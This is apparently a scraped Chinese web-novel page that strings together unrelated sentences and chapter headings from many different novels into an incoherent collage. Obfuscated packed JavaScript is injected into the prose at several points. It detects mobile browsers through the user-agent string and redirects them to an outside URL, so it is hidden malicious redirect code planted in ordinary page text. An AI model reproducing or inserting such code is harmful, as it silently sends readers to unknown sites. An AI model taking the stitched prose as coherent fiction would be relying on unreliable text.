紫金洞的考核,想要进入紫金洞的核心区域听起来倒也简单,只需在外围猎取不同等级的傀儡兽就可以。 赤光大作,冲起二丈开外,赤光一闪而逝,此刻玄穹宫中已无了紫河老祖身影。 徐清盏上下打量他,灰暗的眼神没有一丝波动:“孙公公何出此言?江美人的骨灰不都已经被皇上锁起来了吗? 皇上若真不信,怎会将她如此珍重地锁起来? 秦如娟说的话看似句句肺腑,老泪纵横的模样的确让不少人将怀疑的目光都看向了凌素。 顾萌唱黑脸,宋熙铭唱白脸,一个巴掌一个糖,唱足了好戏后,顾萌亲昵的挽着宋熙铭的手,从记者的面前离开,从容不迫的走进会场。 宋依依见他如此模样,心中感慨,上辈子她见过很多这样的教授,德高望重,也有不少这样的同学,对知识的重视和执着是他们的共同点。 但是现在,在着母亲康复之后,筑岛伦才是感觉到了真正的浅葱,对此她的心中早已经被高兴的情绪所填满,所以并没有多想些别的什么。 姜清婉偷偷地挪到门前,破旧的木门虚掩着,她可以透过门缝看到里面的情形。 在那由一整块光滑无瑕,反射晶光的不知材料的巨大平坦的石头上面,赫然有着一方晶莹的玻璃柜,玻璃柜正方形,左右大约三米,仔细一瞧,在那晶莹剔透的玻璃柜之中,赫然是悬空漂浮着一柄长剑。 咚咚咚,赵福昕敲了几下大牛的房门还是没反应,干脆推门而入。只见大牛躺在床上看着房顶,看来是余气未消,赵福昕关上房门来到大牛身边。 辰星礼貌地请那位年轻的僧人去通报了一下,不一会儿的工夫,这位法师便马上出来笑脸相迎,看那亲切友好的态度,佩月月感觉他与辰星交情匪浅。 而顾萌看着李泽律,只是勉强的笑了笑。在李泽律进‘门’的那一刻,顾萌就已经醒了过来。 算了,既然魔王大人执意要去的话,自己还是不要作死比较好了。 城池当中的众人,他们听闻此话,表情都猛然一愣,紧接着,在他们的脸上便都露出了狂喜之色了。 周末晚上,赵健在外面兼职完后回到宿舍就被刘阳二人拉着讨论下一步行动。 可是马上他就笑不出来了,这货打了半天好像没受伤一样,倒是自己速度开始慢下来了,伤势也由轻变重了,这下林豹开始慌了。 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咚咚咚,赵福昕敲了几下大牛的房门还是没反应,干脆推门而入。只见大牛躺在床上看着房顶,看来是余气未消,赵福昕关上房门来到大牛身边。 辰星礼貌地请那位年轻的僧人去通报了一下,不一会儿的工夫,这位法师便马上出来笑脸相迎,看那亲切友好的态度,佩月月感觉他与辰星交情匪浅。 而顾萌看着李泽律,只是勉强的笑了笑。在李泽律进‘门’的那一刻,顾萌就已经醒了过来。 算了,既然魔王大人执意要去的话,自己还是不要作死比较好了。 城池当中的众人,他们听闻此话,表情都猛然一愣,紧接着,在他们的脸上便都露出了狂喜之色了。 周末晚上,赵健在外面兼职完后回到宿舍就被刘阳二人拉着讨论下一步行动。 可是马上他就笑不出来了,这货打了半天好像没受伤一样,倒是自己速度开始慢下来了,伤势也由轻变重了,这下林豹开始慌了。 至于这两位无辜的死者,他心中报以同情,却是没有任何歉意,生死有命富贵在天,赶上了这档子事儿,也只能算他们倒霉。 “接着谈呗。领导现在还不想翻脸,和和气气的谈呗。”鲍昂十分无奈。 他伸出舌头舔了舔嘴唇,打算下楼去拿瓶水,随便再带些吃的上来。 “希望不要下雨吧,”大飞看这天色,感觉也是有可能会下雨的样子,不过冬日的天气大多都是这种灰蒙蒙地感觉,让人摸不透它到底要不要下雨。 男子放开了她,坐在对面,说道:我的名字呢,齐少恒,齐家少主,你好,雪薇。 而且这份杀气的指向非常明显,明显就是冲着唐尘和克拉丽丝来的,难道是因为这里只有他们才是外来者!? 紫金洞的考核,想要进入紫金洞的核心区域听起来倒也简单,只需在外围猎取不同等级的傀儡兽就可以。 赤光大作,冲起二丈开外,赤光一闪而逝,此刻玄穹宫中已无了紫河老祖身影。 第一卷 第184章 祁让才是真正的骗子 夕阳西下,晚霞满天。 徐徐降临的暮色中,南崖禅院的钟声悠然响起,伴着归鸟的鸣叫在山间回荡。 晚余缓缓睁开眼睛,看到一个身穿灰白僧袍的修长身影披着暖黄灯光站在床前。 “施主,你醒了?” 罗远也明白自己的举动会让这个家雪上加霜,但他的直觉告诉他无尘一定不是普通人。 虽然秦明是个畜生,但是秦明的紫气东来剑和移花踏雪步对他而言很有帮助。 听说目的是为了让现在的大学生,能够更好地了解当前各行各业的工作情况。 原来是他五百年前遇到了一个从上界被打落凡间的仙人,在经过九天罡风的摧残过后,那仙人只剩一缕元神躲在这仅剩的一件法宝之中。 磅礴的枪意,在这一刻如山洪迸发,让这个雄伟的关隘都不断摇晃震动。 但是,眼前的于式法爷,那不就是路上行走的金币。顶尖玩家又怎样?架得住这么多人的围猎吗? 修真**都是从大道推演而出,包含着五行八卦的运转道理。这都不会还想修仙? 这回治疗的较为彻底,主治医生说是大概率在两个月内不会复发,但也要注意休养,不能过度劳累。 “那行,我乾坤盘不要了,那你孩子也别要了!”秦明直接威胁道。 异能不同于之前的魔法、斗气,它并非是需要修炼才可获得的力量。 可是,他这个大哥容易吗?还不是希望这两个弟弟能懂事点,他站起来叫阿诚把他送回房间去,明凡咬牙努力扶着凳子站起来,搭着阿诚哥的肩膀,有那么一次,他觉得阿诚哥的肩膀很踏实。 这时,只见王梅风风火火,拎着行李好像是要出远门儿的样子,急匆匆地跑了出来。 “为了这么个东西,至于吗?”江宁宁冷冷问道,大雨依旧滂沱,叶振直接拉起江宁宁的手,不管你怎么生气,身体才是最重要的。 我正走在街上,走了一个晚上实在是太累了,正好找到了一家早餐店,应该吃点东西,然后再休息一下。不过早餐店周围竟然全是警察,警察似乎在询问客人一些事情。 又十分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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能够连中三元的人物,古往今来寥寥几人,无不是震烁古今的大人物,那么这样的人物,又如何沦落到如此地步? 豁然间一声巨响,这里只是太昆山后山,却都能感觉到从前山传来的巨大震动**。 如今一见,长的也算是标致,可就是这气质,总是感觉有些不得劲。 “很有可能,不然我实在想不出,这些精灵有什么好激动兴奋的!”蔡志雄点了点头,很肯定的回道。 不仅大战神会被国师言听计从,天丰国内所有人都一样,没有人敢不听国师的,见到国师,就跟见到帝皇陛下一样。 蜂拥而来的魔法攻击让灰骷髅停滞了前进的步伐,似乎是无法继续承受更多的魔法攻击,在硬抗了一发光箭之后,灰骷髅散乱成一地骨头架子。 这份喜欢甚至在两人分别考上同一座城市的大学之后,幻化成了爱。 “那就好,一会儿我带你去看一点东西,你就会知道,我为什么说你做了一个正确的选择!”谢宇回道。 原来当初他并不是一味的惩罚自己,也给了那些无事生非的下人教训,这才让她之后的日子过得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561056|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相对太平。 贴着脸蛋的东西软软的香香的,希维尔发现自己并不讨厌和这个气质高贵的漂亮姐姐贴贴。 司徒昀则时不时去打听一下李岗的现状,听说还躺在床上,这才稍微放松一些。 要知道~做为一家海外资本华夏区的总经理,徐兴和来自世界各地的人都打过交道。 他已经看出来了,眼前这个似人非鬼的家伙,已经掌握了比自己,更为强大的力量。 “去就去!正好我好久没有出去旅游了,就当是公费旅游。”一切都没有安排好,现在只能屈服。 新兵被做俯卧撑的三班吸引,营里其中一名班长唐栩提议:“我们要不要比赛做俯卧撑?如果你们赢了可以拿走这包饼干。”他提着的饼干比老铁的多一倍。 然而金刚却忽视了,之前他们的行动都是在野外荒僻无人的地方,而在众目睽睽之下,金刚还是第一次展示出了她的大范围炮击。 这样的一个目的地实在是令情报课的分析人员很疑惑,难不成安逸他们还真是喜爱岛国的美景,大老远跑来来旅游的? 第一卷 第186章 皇上何不就当我** 晚余在看到祁让走进来的瞬间,周身的血液都凝固起来,手脚冰凉如坠冰窖。 明明是融融春日,她却感到冬日般彻骨的寒意。 待看到祁让身后紧随而来的一抹消瘦身影,又于那彻骨的寒意中多出几分惊惧与担忧。 祁让这奸诈之徒,无耻之辈,居然把清盏也带来了。 正当赵宇要发火的时候,付麟一摆手,赵宇就没有继续说下去,这个猥琐的男子一看对方这么多人,开始的时候还很害怕,可是一看对方没有再说什么,他还以为对方怕了自己呢? “我们刚回来,今天出去逛街了,既然你们不回来,那我和齐彧哥就不煮你们的饭了。”凌宝鹿回答。 由于付麟现在的兵马还没有形成合围,张鲁的撤退命令下的也算及时,另外,付麟有意的给张鲁留下了一个撤退的口子,付麟这么做也是听了郭嘉的意见,这么做是怕敌人以死相拼,那样的话就会增加付麟兵马的伤亡比例。 随意的吃了点东西,林萧带着利欧路去修炼了一会,在夜幕降临前回到了帐篷中休息,躺在被子上林萧拿出掌上电脑查看联盟的最新消息。 魏崇年的别墅座落在岛的最高峰月亮山的半山腰的一块平地上,这里视野开阔,空气清新,放眼望去整座海岛的景色尽收眼底。甚至坐在院子里的凉亭里,就能欣赏到**长空海天一色的寥廓景致。 看来后面一段时间还是让班吉拉多休息一下才好,还在精灵球内沉睡的几个家伙也是如此。 尽管是火光冲天,却没有把天空照亮半点,这黑金色的火焰,给人的感觉只有冰冷的窒息,还有那无尽的死亡,比之普通的火焰,更让人畏惧。 端木瑾萱正得意的时候,一道璀璨的白光突然从漫天冰手掌散发出来,一股从未见过的强大气息迎面袭来。 正巧在这时上课铃响了,老师开始讲课。可是刘虎成心里却怎么也安定不下来,整整一节课老师讲的一句也没听进去。 “不是只有两百人追击我们吗,怎么又变成了五百人呢?”付麟问道。 她看着这两个地方的地理位置和地形环境,怎么就觉得这么的眼熟呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561057|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱亭也在同一时间冲了上去,对于天门宫主迎面掷来的七星勺子阵丝毫不惧。 主动环上梅千瑞的脖子,却突然被梅千瑞翻过去,背对着梅千瑞,贴在了凉丝丝的玻璃上,这次梅千瑞是从后面进入的。 许梦丹已经自己先钻进了凉亭,坐在秋千上,兴奋地拿手机自拍。 “还好墨娴提前发现了,否则的话,我们肯定要错过了。”天知道,凌梵月在刚才,心里面的紧张感,完全不是害怕自己资金不足。 姜环一人倚在墙上,望着明媚的天空,心中滋味无人懂,连他自己也说不出个所以然,一墙之隔,她穿着自己梦中那样红艳的嫁衣,可所嫁之人却不是自己,而是她心中那人,只要她高兴……便好了吧? 正感到有些头痛的时候,突然间,凌梵月看到前方不远处光芒大盛。 始终将距离保持在,点头之交和救人于危难之间,你有问题和难事肯定会第一个想到他。但是和他的关系,却未必有多亲密,聚会什么的玩乐节目,他从来都是只露一面,和大家打个招呼,结个账,就走了。 第一卷 第187章 我宁愿死,也不要被你玷污 祁让气得想**。 他都气成这样了,这该死的女人还是一副无所谓的样子。 他怀疑,他就算真的一剑刺穿她的胸膛,她都不会皱一下眉头。 他满腔的怒火无处发泄,回身将长剑指向站在台阶下的徐清盏。 “上来,给朕好好看清楚她是谁?” 叶龙早已经找到了自己生存的意义,这些知识自然是已经不需要了。 韩宇这一路上就没有人能够发现他,等到他来到一个山谷的时候,突然停止了脚步。 豹头,狼头等人坐在比较靠前的地方,而林凡则随便找了个角落坐了下来。 “无需通禀了,咱们径直上山去吧!”杨先堡一声大喊,中气十足。 这些上古秘闻,又不能帮墨天微解决眼前遇到的问题,知道也没卵用。 便在这时,一道纤细身影忽然从雪堆中扑出来,手中抓着一把刀,从身后向淳于冥绝偷袭。 当时她拿到枪后,非常兴奋,早就迫不及待的去练枪法了,哪还管别的? 人都是有好奇心的,尤其是他们看到众人一脸如痴如醉的模样,更想知道叶玄到底讲了什么。 打捞船经过了两天的打捞过程,终于把沉入海底的游艇打捞上来,打捞船将游艇做了修复工作,方便拖回陆地,林华他们的军舰则继续在航线上移动,距离林华他们流落的荒岛很远,远到连看都看不见荒岛的存在。 所以当刘琬派出来的人到达下博之后,张绪就立刻下令将城门关上,准备守城。 大家议论此事的时候,第一反应是看看桑穆晚,桑穆晚无语得差点翻白眼。 不过敌人从东北面来,而不是从南面的都司军营方向来,多少出乎完颜皓青预料。 方茵茵到雅朵酒店的时候,已经天黑了。方茵茵刚走进大厅,就看到了出差回来的杨玉博。 他俩说是推开门其实就是二人扭打在一起撞开了门,就这样两个房间的人都互相看向对面。 都说有多少枪就能招多少兵,可是谢天现在手中的武器实在太多了。 当然,高维俯视者能够想到的背刺手段堕落母神也能想到,所以祂们两神现在也在相互戒备的状态。 坦克兵对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561058|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上步兵就是这么豪横,更何况李常顺还知道现在驻防矿区的是从太原撤下来的鬼子丙类部队石川旅团。 “这人会点武功,别随便上,先制住他再说。”一道命令的声音传来。 华美英大长腿连续跨过衣山裤海、姿势优美地坐在了盖着一张粉色毛巾被的双人沙发上。 巴赫扫了王强的队伍一眼,结果越看越吃惊,到最后眼珠子都要瞪了出来。 “子墨哥哥,表姐的话是什么意思呀?”南宫瑾儿本來想问凌雨薇的,但她已经和南宫逸离开了,所以只好问颜子墨了。 “颜公子。薇儿有个疑问。只是不知道该不该问。”一直在旁边沒有说话的凌雨薇。柔声地问道。 殷赫的话一出,气氛立刻下降到冰点,众人你看我我看你,都不知道该如何接下去。 看着冬雪躲避的模样,左向风沒办法,知道自己不能逼得太紧,那样的话只会让她心生厌烦。但是他心底对冬雪的感情丝毫未变,甚至对她更加痴迷。 接下來在外室是魏子涵带來的随从布置新郎席在东面,我的的随从布置新娘席於室西面。 第一卷 第188章 我不要你,我要清盏 “大人。”祁望上前一步抓住了徐清盏的手。 不过,这五个家伙不愧是传奇匠人,挨了一击雷劈之后,居然没有被挂掉。 亡灵骨魔惊骇的看着自己脚下的邪云,万物在脚底穿梭,这等景象,他根本就没见过,西方大陆,有什么人是踩着云腾空飞行的? “出什么事情了吗?还是连云打扰了他休息?”莫西北皱眉,心情莫名的很紧张,居然有一种很不好的预感。 说完,陆压一边催动太阳真火攻向白毅,一边挥舞着屠巫剑攻向白毅。见此,白毅毫无畏惧之色,将冰剑凝聚出后,白毅一边催动本命神通‘冰焰’对抗陆压的太阳真火,一边挥动冰剑与陆压的屠巫剑碰撞。 空中飘悠悠的荡着一条彩带,彩带缓缓飘下,直接落进了云华夫人的手心。 看来这头猪为了活命,差点连祖宗十八代都交代出来了,不愧是传说中好吃懒做的猪八戒,果然名不虚传。 “公主,有什么心事么?”在刘嫖第六次翻身后,董偃半支起身,眼神迷离,问道。 凌炎微微一笑,见水月很不客气的跳上床来,轻盈的身子散发出一丝孩童的奶香。 势力等级越高,对武者来说,代表的不仅仅是修炼资源的问题,**武技,教育水平都是有影响的。 “你哪里每天躲在这里不见天日了,别和我说,你没悄悄进宫吓唬过慕容连云。”楚俊风和慕非难几乎异口同声,指控眼前这个叫委屈地人。 除外许沐棠是许沐池的兄弟之外,身为雕龙局的创始人之一,策划这么重大的行动,却一直隐瞒着许沐池,这才是许沐池不能接受的。 此时他们看到很多人都围聚在这里,继续说说笑笑,在他们看来,这次就是一个很普通的任务。 “各位前辈,贤士鞋业正式投入生产,还请多多支持!”刘君谕说道。 丛刚将封行朗吃剩下的半片面包塞进了自己的嘴里。他也只是个有机生命体,也会饿。 到了那儿,他先向大家行了个军礼,并以茶代酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561059|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬了大家一杯。然后,便向他们下达了一系列命令。 费靖樵挂心梁凌雪,与费靖月说了几句,便回去他们的院子照看,费靖月想了想,让人去叫了林双儿来。 孔栋甚至觉得,就算把全部的警力都派到矿山公园,大概也不如这三人组的组合。 “倒也不急,如今恐怕得先让新人进门,冲冲喜再说。”张氏沉吟道。 不过金羽学院的人倒是看的很有意思,时不时的发出阵阵的欢呼,给自己支持的人加油打气。 霍爵松开了她的手,两只手都抱着儿子,又搂又亲,开心得不得了,他眼中流露出满满的慈爱,看得旁人都感同身受。 时光仿佛停滞。拓跋弘面上的怒意越来越盛,蓝蕊跪着讷讷不敢言,旁的嫔妃们都迷惑不解,却也知道这事儿不简单。 与老人的一番谈话让秦一白解开了先前许多迷惑不解之处,虽然妻儿的去向仍然无法知晓,但秦一白直觉中却感到妻儿的魂魄绝没有在人世上因为没有进入鬼界而消散。 第一卷 第189章 他要各种各样的折磨她 祁让交代完祁望,让他出去给晚余开方子煎药。 “哈哈哈,真是可笑,若是你父亲有你一半聪明,他也不会落到今天的地步,一切都已经晚了。 太古十二圣帝,战力丝毫不比道祖逊色,甚至总体来说犹有过之,因为在万古战力榜上,神祖魔祖战力前二,后面三四五则是三位圣帝。 老者这才重新走上前来,只见他单手一挥,所有弟子头顶的印记纷纷亮起,一道道金色光芒飞向那宗门榜。 韩功易怎能不知王塘的想法,龙皇已死,过往的恩怨就此止住,只不过这代价也太大了,一颗龙皇首级就换了万亿生灵。 天教搭擂,对垒北凉,由暗转明的大势力争锋近几年是屡见不鲜,盖非衣雄心壮志,北凉王持旧守成,其余势力隔岸观火,等着坐收渔利。 但周语柔明显感觉到沈清辞对她设置了结界,彬彬有礼地把她拒绝在他设下的结果之外。 “不过现在阵法已经没办法继续监测你的记忆了,如果你想要知道一切的真相,那就去找那个可以告诉你一切的人吧。”墨渊道。 “大家都起身吧!今日这没有太子,只有南宇翼和朋友吃饭,大家该干嘛就干嘛,好了,不用在意我们!”南宇翼一扶手,虚托众人起身。 更何况他本来就喜欢官雨萱,无论是身体原主人还是现在的他,都喜欢的很。 那人话音未落,官云身形急闪,窜到了那人身前,只见官云手腕成爪,一把扣在了那为首的少年的腕子上,向后猛地一带,左膝顺势一顶,一击膝击结结实实的砸在了那人的腹部。 不管是华生还是曲灵儿,修为都高出吕琪琪和华振航,他们自然看不出两人的修为,所以吕琪琪将曲灵儿当成一个凡人也不是没有原因的,终雨山本身就有不少的凡人,毕竟很多杂事都是需要人来做的。 脑海中浮现出一个妖娆身影,阎十一这才回忆起头一次见到千媚的场景,那是他护送狐商一起穿过百鬼酒庄和千媚庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不过黎酬却并没有心情关心自己收获多少的中二点数,因为就在身后不远的地方,折返回来的庞广延的攻击已经到了。其招式与上一次几乎一半无二,同样的在先天真气激荡下的短剑发出一声尖啸,直取黎酬后心。 “我的天……”安妮上前安抚,但她并没有掌握太多治疗类法术,只好稍稍操动冰属性能量,让帕卡尔凉爽一些。 心里这样想着,黎酬却并没有急着寻宝。因为他并没有忘记自己的主要目的,是从这芥环之中找到关于华檀妹妹所在的线索。 这一次封号跟以往不一样,记得上个赛季有玩家在高端局排位中进行6黑模式,被玩家们检测出来之后,并且反馈给天美,也是将这些违反游戏规则的账号全部禁赛一个月。 要破甲阵,乙阵侵扰,要破乙阵,丙阵来袭。环环相扣,除非是真正阵法大师,那么破解之道就只在以消耗对消耗。 “实不相瞒,兄弟我卡在一魂境已有多时,不知鬼痕兄可有极品魂石的下落?”韩阳直言道。 当以撒坐着劳斯莱斯赶到休斯敦警局时,松下三郎已经在门口望眼欲穿。 听着江临的话,三人疯狂点头,结果点着点着,江临接下来的话让他们一下子就僵住了。 林惊龙也明白这个道理,他也不白拿夏东河的,夏东河要是有求于他,他必然会出手。 老二被王花害的去农场了,老六呢,入赘去了,房间倒是空着了,陆老太觉得心里都有些凉凉的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561061|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >你就光想着对战的事情,其他的什么不要想。”方宁对着艾丽莎想了想,说出自己想到的办法。 六辆‘敌方’坦克呈战斗队形一字排开,炮塔缓缓移动,黑洞洞充满压迫感的炮管,缓缓对准单枪匹马而来的老59。 叶秋雅今天晚上要做点疯狂的事情,是她以前从来都不会做的事。 李艺如正看着窗外,院子里有一颗柳树,垂下来的枝条迎风摆动。 之后更离谱的事情发生了,熊孩子在听到了两人的对话,直接就哭出声了。 自己浑身已经被剑气割了好些道口子,而自己却连他的一片衣角都没有碰到。 还有,你真当拉人上来这么容易吗?你没看那边倒着一个,我也起不来了吗? 放弃所有,抛下所有的余秋源,穿上了一层又一层,连自己最终都数不清的外壳,成为了现如今的自己,这也是他之所以会被哲围胥盯上的理由。 他们的订婚只不过是一个形式而已,对于张帆要做什么宋依依不多过问,因为张帆的态度表明他不希望宋依依问太多。 第一卷 第191章 在他怀里像一片轻飘飘的花瓣 黎**惊恐地看着面前宛如高塔般粗壮矗立的地府阴神,满心恐惧。 李默白看了看竹野龙一,又看了看手里的合成炸肉,脸上突然露出了一抹不怀好意的笑容。 就在那惨叫声愈发微弱之时,那十余具魂灵身上的粉红色部分,便在吕龚的手下,一个个接着破碎崩溃。 也就是说,沈旗螯如果真的是来这里吃了狗肉,那么最有可能的时间就是3号。 如果是以前的他,或许还会选择较为温和的手段,譬如让协会出面为他打开通往古遗迹的大门,但是现在……陈景心里烦躁得想要**。 余光听后想了想,道:“这些人都是老手,他们为了赶时间,路上肯定要换人开车,你们取个中间点,然后往两边查沿路服务区的监控。只要他们下车,就有可能拍到他们的正脸。 再大胆猜测一下,神赐魂环其实是薅的邪神的,而那个邪神原本是住在这里的? 一道雷霆猛然间破云而出,不偏不倚,刚刚好劈在了一母六婴面前的【狗血道符神纹】上面。 以三人为中心,真元所化,有若是万象从虚空奔腾而出,剑芒飞涌,所化成龙,绞杀三人。 既然突然之间,大家都知道了彼此的存在,我也没有理由装作一无所知。 这也是很正常的,毕竟让他戴了一个绿帽子的二哥,他会救才怪了,不下毒就已经不错了。 典风有那一刹那的危机感,他立刻反应横移,却还是被一柄无形的杀剑,刺穿了胸膛。 我一听声音有点熟,她还没走到我跟前的时候,我认出她来了,这不就是凌静么。 “刘松,把你家的详细地址告诉我,我一定会帮你完成这个心愿的。只要是我能出去的话。”我知道阴阳相隔的滋味,所以我一定会帮他的。 虽然我还不知道到底是什么把柄,但我相信我的猜测是绝对不会有错。 想到此,同天反而是不着急去找其他的星辰碎片,由于星辰碎片是可以交易的,也就是说到时候和其他的玩家做平等交易就可以了。 张莹莹看见我此时狼狈的样子,忍不住抿嘴偷笑了两声,但是估计是怕被我发现,在笑了两声之后,她便又恢复到平时那一副蛮横的样子。 如果菲森死在自己手里,那就意味着,就算没有陈肖然,她也能对付得了傀儡组织的人,这点很 重要。 ——不过,这个似乎也不是什么李维的本事。就这种跟王八差不多的节肢动物,掀翻了踩上去,你就不会输吧? “神射手找准季风射杀他!”可查对着冲出去的亲卫营喊叫,他的亲卫营之中,有不少的神射手,这个时候神射手冲上去在乱军之中开冷箭威力还是巨大的。 这一次不需要墨峰安排,即便是大雨之夜,依旧有十名骑士分布在四周负责警戒和巡逻。 一个体型雄伟的年轻武士,两臂交叉在胸,稳如山岳般拦着三人去路,有种旁若无人的狂傲。他不算英俊,但自然而然有种非凡的气魄,或许是因浓密眉毛下那双锐如利刃的眼睛。 为了用最短的时间打下舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561062|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳,白朗也算是豁出去了,拎着一把战刀,带着百余悍匪督战。凡是敢往回跑的,直接拿下砍了脑壳,挂在旗杆上上示众。 一千亲卫营冲过城墙,十几个神射手占据了最高点,拉动手中的长弓开始寻找玉阳高级将领射杀。 晚上六点半,楚天舒和冷雪、卫世杰、**豹兄弟、庄敏以及“少校”、“上尉”等人一起在湖心岛农庄的玻璃亭中聚会。 “对。”付大木深有感触地立时给予了肯定,也给陶玉鸣吃了颗定心丸。 “钱的问题,我自己可以解决!最紧缺的其实是编辑人才!”张少杰笑道。 武氏子弟现在看似显赫一时,个个位高权重,可是其权位全因武曌而来,其基础是建立于流沙之上,一个浪打过来,肯定不留下任何痕迹。 说完她还不忘用双手轻轻的击了击掌,引得教室里又是一片热烈的掌声。 龙二说的没有错,此刻的马孝全,的确是半个身子无法动弹,虽然身上还燃着红莲霸火,但比起之前的火势,已经弱了许多了。 在这一道力量的轰击之下,神纹的光辉终于开始暗淡了下来,太上之力当真是恐怖,哪怕是如此强大的神之符箓到了这个时候也只能选择臣服。 突然,青石道人叫了一声,此刻他已经被人替换下来,但也需要被人扶着才能勉强站立。 那人怒骂一声,打算将宝剑收回来,再给寒兽来一下,不信自己就不能劈不开冰层。 “算你识货……”香水男很不屑地用手一撩头发摆了个自以为挺酷的造型。 第一卷 第192章 想要避子汤是吧,朕给你准备好了 有些时候所付出的努力不一定会有相应的回报就像咒巫一样为了在短时间内使自己变得更强结果真是赔了夫人又折兵前功尽弃了。 想到自己吃的是荒妖的肉反胃?那倒说不上如果处理后的食物再端到他面前他照样吃得贼香这么一想他肚子好像又饿了。 “又不是让你泡她 “娴莹你在干什么怎么能动手**呢?”借助着厕所内昏暗的灯光牛梓豪于是赶紧制止了他。 平心——屏蔽掉其他的杂念、声音让自己的精神保持在很平静的状态这种情况下很容易能提高身体对魔法元素的感知。 等宣梦蕾将自己收拾妥当之后戚平莹也彻底的醒了来带着贾一佳也醒了两人这时候才注意到宣梦蕾已经换好了衣服了。 “那兴县到京城近?还是去到关陇老爷家近?”星儿想弄清楚她所不知道的一切。 比赛继续之后也有几个A的出现大多都是学院派的这也算是给学院派的挽回一点面子。 靖珵见太后脸色温和便知必不会为难星儿自己也可安心离开立刻甩出了抽身的话。 刘圆也没有说什么毕竟她们两最后肯定是要成为姐妹的所以刘圆就陪着高城丈士朗聊天了。 坏处是同时也给水生生物提够了绝佳的机会即便是这些水下去以后情况也不会有丝毫好转而会随着渣滓场的扩大让仙人一族的工作更加艰难。 与此同时锋北豪右耳中飞出一只巨翅猛虎挡住了袭来的万千石弹跟亿万甲虫。青冥护着锋北豪踩着无迹的额头一飞冲天抡动手中无数神兵暴涨旋转形成一个天地锯盘怒斩而下。 继两枪干掉了玲珑仙子的相公白适之后季长生再次名动天下成为举世瞩目的焦点。 而且完颜晟能坐稳皇位也不仅仅是凭借着军功还有他执政的本领。相反金兀术就只会打仗可现在金国需要的是打仗嘛?金国需要的是一个能稳定民生的君主而不是一个只会打打杀杀的武将。 观音殿供奉的观世音菩萨在封神大劫当中是元始天王门下亲传弟子十二金仙之一的慈航道人。 